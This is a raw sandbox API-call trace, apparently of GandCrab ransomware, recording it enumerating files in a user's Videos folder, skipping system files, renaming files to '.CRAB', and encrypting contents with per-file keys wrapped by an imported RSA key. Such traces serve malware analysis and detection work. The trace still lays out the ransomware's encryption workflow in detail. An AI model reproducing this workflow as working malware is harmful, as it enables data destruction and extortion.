	[0135.225] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.225] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.225] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.226] FindNextFileW (in: hFindFile=0x3249cf0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0135.226] lstrcmpW (lpString1="_At2gAyzrRfymG8aa6M.swf", lpString2=".") returned 1
	[0135.226] lstrcmpW (lpString1="_At2gAyzrRfymG8aa6M.swf", lpString2="..") returned 1
	[0135.226] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\", lpString2="_At2gAyzrRfymG8aa6M.swf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\_At2gAyzrRfymG8aa6M.swf") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\_At2gAyzrRfymG8aa6M.swf"
	[0135.226] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.226] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\_At2gAyzrRfymG8aa6M.swf") returned 67
	[0135.226] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\_At2gAyzrRfymG8aa6M.swf") returned 67
	[0135.226] lstrlenW (lpString=".swf") returned 4
	[0135.226] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.226] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".swf ") returned 5
	[0135.226] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.227] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\_At2gAyzrRfymG8aa6M.swf") returned 67
	[0135.227] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\_At2gAyzrRfymG8aa6M.swf") returned 67
	[0135.227] lstrcmpiW (lpString1="_At2gAyzrRfymG8aa6M.swf", lpString2="desktop.ini") returned -1
	[0135.227] lstrcmpiW (lpString1="_At2gAyzrRfymG8aa6M.swf", lpString2="autorun.inf") returned -1
	[0135.227] lstrcmpiW (lpString1="_At2gAyzrRfymG8aa6M.swf", lpString2="ntuser.dat") returned -1
	[0135.227] lstrcmpiW (lpString1="_At2gAyzrRfymG8aa6M.swf", lpString2="iconcache.db") returned -1
	[0135.227] lstrcmpiW (lpString1="_At2gAyzrRfymG8aa6M.swf", lpString2="bootsect.bak") returned -1
	[0135.227] lstrcmpiW (lpString1="_At2gAyzrRfymG8aa6M.swf", lpString2="boot.ini") returned -1
	[0135.227] lstrcmpiW (lpString1="_At2gAyzrRfymG8aa6M.swf", lpString2="ntuser.dat.log") returned -1
	[0135.227] lstrcmpiW (lpString1="_At2gAyzrRfymG8aa6M.swf", lpString2="thumbs.db") returned -1
	[0135.227] lstrcmpiW (lpString1="_At2gAyzrRfymG8aa6M.swf", lpString2="CRAB-DECRYPT.txt") returned -1
	[0135.227] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.227] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\_At2gAyzrRfymG8aa6M.swf.CRAB") returned 72
	[0135.227] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\_At2gAyzrRfymG8aa6M.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\_at2gayzrrfymg8aa6m.swf")) returned 0x20
	[0135.227] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\_At2gAyzrRfymG8aa6M.swf", dwFileAttributes=0x20) returned 1
	[0135.228] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\_At2gAyzrRfymG8aa6M.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\_at2gayzrrfymg8aa6m.swf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\_At2gAyzrRfymG8aa6M.swf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\_at2gayzrrfymg8aa6m.swf.crab")) returned 1
	[0135.229] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0135.229] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\_At2gAyzrRfymG8aa6M.swf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\_At2gAyzrRfymG8aa6M.swf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\_At2gAyzrRfymG8aa6M.swf.CRAB"
	[0135.229] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\_At2gAyzrRfymG8aa6M.swf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\_At2gAyzrRfymG8aa6M.swf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\_At2gAyzrRfymG8aa6M.swf.CRAB.CRAB"
	[0135.229] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0135.231] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0135.231] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0135.231] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0135.231] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0135.231] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0135.231] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.231] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e5a0) returned 1
	[0135.233] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0135.233] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0135.233] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0135.233] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0135.233] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0135.233] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.233] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0135.234] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0135.234] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0135.235] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3247ff0) returned 1
	[0135.235] CryptGetKeyParam (in: hKey=0x3247ff0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0135.235] CryptEncrypt (in: hKey=0x3247ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0135.236] GetLastError () returned 0x0
	[0135.236] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0135.236] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0135.237] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3248330) returned 1
	[0135.238] CryptGetKeyParam (in: hKey=0x3248330, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0135.238] CryptEncrypt (in: hKey=0x3248330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0135.238] GetLastError () returned 0x0
	[0135.238] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0135.238] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\_At2gAyzrRfymG8aa6M.swf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\_at2gayzrrfymg8aa6m.swf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0135.239] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0135.239] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0135.239] ReadFile (in: hFile=0x3ec, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314c9c4*=0x9ea8, lpOverlapped=0x0) returned 1
	[0135.255] VirtualAlloc (lpAddress=0x0, dwSize=0x9eb0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0135.267] VirtualAlloc (lpAddress=0x0, dwSize=0x9eb0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0135.268] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.269] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff6158, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.269] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x9eb0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0x9eb0, lpOverlapped=0x0) returned 1
	[0135.269] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.269] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.274] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0135.274] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0135.274] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0135.274] CloseHandle (hObject=0x3ec) returned 1
	[0135.274] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.275] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.275] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.275] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.276] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.276] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.276] FindNextFileW (in: hFindFile=0x3249cf0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0
	[0135.276] FindClose (in: hFindFile=0x3249cf0 | out: hFindFile=0x3249cf0) returned 1
	[0135.276] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0135.276] lstrcmpW (lpString1="utx3o.flv", lpString2=".") returned 1
	[0135.276] lstrcmpW (lpString1="utx3o.flv", lpString2="..") returned 1
	[0135.276] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="utx3o.flv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\utx3o.flv") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\utx3o.flv"
	[0135.277] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.277] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\utx3o.flv") returned 38
	[0135.277] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\utx3o.flv") returned 38
	[0135.277] lstrlenW (lpString=".flv") returned 4
	[0135.277] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.277] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".flv ") returned 5
	[0135.277] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.277] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\utx3o.flv") returned 38
	[0135.277] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\utx3o.flv") returned 38
	[0135.277] lstrcmpiW (lpString1="utx3o.flv", lpString2="desktop.ini") returned 1
	[0135.278] lstrcmpiW (lpString1="utx3o.flv", lpString2="autorun.inf") returned 1
	[0135.278] lstrcmpiW (lpString1="utx3o.flv", lpString2="ntuser.dat") returned 1
	[0135.278] lstrcmpiW (lpString1="utx3o.flv", lpString2="iconcache.db") returned 1
	[0135.278] lstrcmpiW (lpString1="utx3o.flv", lpString2="bootsect.bak") returned 1
	[0135.278] lstrcmpiW (lpString1="utx3o.flv", lpString2="boot.ini") returned 1
	[0135.278] lstrcmpiW (lpString1="utx3o.flv", lpString2="ntuser.dat.log") returned 1
	[0135.278] lstrcmpiW (lpString1="utx3o.flv", lpString2="thumbs.db") returned 1
	[0135.278] lstrcmpiW (lpString1="utx3o.flv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0135.278] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.278] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\utx3o.flv.CRAB") returned 43
	[0135.278] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\utx3o.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\utx3o.flv")) returned 0x20
	[0135.278] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\utx3o.flv", dwFileAttributes=0x20) returned 1
	[0135.279] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\utx3o.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\utx3o.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\utx3o.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\utx3o.flv.crab")) returned 1
	[0135.280] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0135.280] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\utx3o.flv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\utx3o.flv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\utx3o.flv.CRAB"
	[0135.280] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\utx3o.flv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\utx3o.flv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\utx3o.flv.CRAB.CRAB"
	[0135.280] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e9e0) returned 1
	[0135.282] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0135.282] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0135.282] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0135.282] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0135.282] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0135.282] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.283] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6eb78) returned 1
	[0135.284] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0135.284] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0135.284] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0135.284] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0135.284] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0135.284] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.285] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0135.285] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0135.285] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0135.287] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3249cf0) returned 1
	[0135.287] CryptGetKeyParam (in: hKey=0x3249cf0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0135.287] CryptEncrypt (in: hKey=0x3249cf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0135.287] GetLastError () returned 0x0
	[0135.287] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0135.287] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0135.288] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x32483f0) returned 1
	[0135.288] CryptGetKeyParam (in: hKey=0x32483f0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0135.288] CryptEncrypt (in: hKey=0x32483f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0135.289] GetLastError () returned 0x0
	[0135.289] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0135.289] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\utx3o.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\utx3o.flv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0135.289] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0135.290] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0135.290] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0x17c4a, lpOverlapped=0x0) returned 1
	[0135.304] VirtualAlloc (lpAddress=0x0, dwSize=0x17c50, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0135.306] VirtualAlloc (lpAddress=0x0, dwSize=0x17c50, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0135.377] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.378] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffe83b6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.378] WriteFile (in: hFile=0x3e8, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x17c50, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314d45c*=0x17c50, lpOverlapped=0x0) returned 1
	[0135.378] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.379] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.383] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0135.383] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0135.383] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0135.383] CloseHandle (hObject=0x3e8) returned 1
	[0135.383] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.383] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.384] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.384] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.384] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.384] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.385] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0135.385] lstrcmpW (lpString1="vwnC.mkv", lpString2=".") returned 1
	[0135.385] lstrcmpW (lpString1="vwnC.mkv", lpString2="..") returned 1
	[0135.385] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="vwnC.mkv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\vwnC.mkv") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\vwnC.mkv"
	[0135.385] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0135.386] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\vwnC.mkv") returned 37
	[0135.386] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\vwnC.mkv") returned 37
	[0135.386] lstrlenW (lpString=".mkv") returned 4
	[0135.386] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.387] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mkv ") returned 5
	[0135.387] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0135.387] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\vwnC.mkv") returned 37
	[0135.387] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\vwnC.mkv") returned 37
	[0135.387] lstrcmpiW (lpString1="vwnC.mkv", lpString2="desktop.ini") returned 1
	[0135.387] lstrcmpiW (lpString1="vwnC.mkv", lpString2="autorun.inf") returned 1
	[0135.387] lstrcmpiW (lpString1="vwnC.mkv", lpString2="ntuser.dat") returned 1
	[0135.387] lstrcmpiW (lpString1="vwnC.mkv", lpString2="iconcache.db") returned 1
	[0135.387] lstrcmpiW (lpString1="vwnC.mkv", lpString2="bootsect.bak") returned 1
	[0135.387] lstrcmpiW (lpString1="vwnC.mkv", lpString2="boot.ini") returned 1
	[0135.387] lstrcmpiW (lpString1="vwnC.mkv", lpString2="ntuser.dat.log") returned 1
	[0135.387] lstrcmpiW (lpString1="vwnC.mkv", lpString2="thumbs.db") returned 1
	[0135.387] lstrcmpiW (lpString1="vwnC.mkv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0135.387] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0135.388] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\vwnC.mkv.CRAB") returned 42
	[0135.388] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\vwnC.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\vwnc.mkv")) returned 0x20
	[0135.388] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\vwnC.mkv", dwFileAttributes=0x20) returned 1
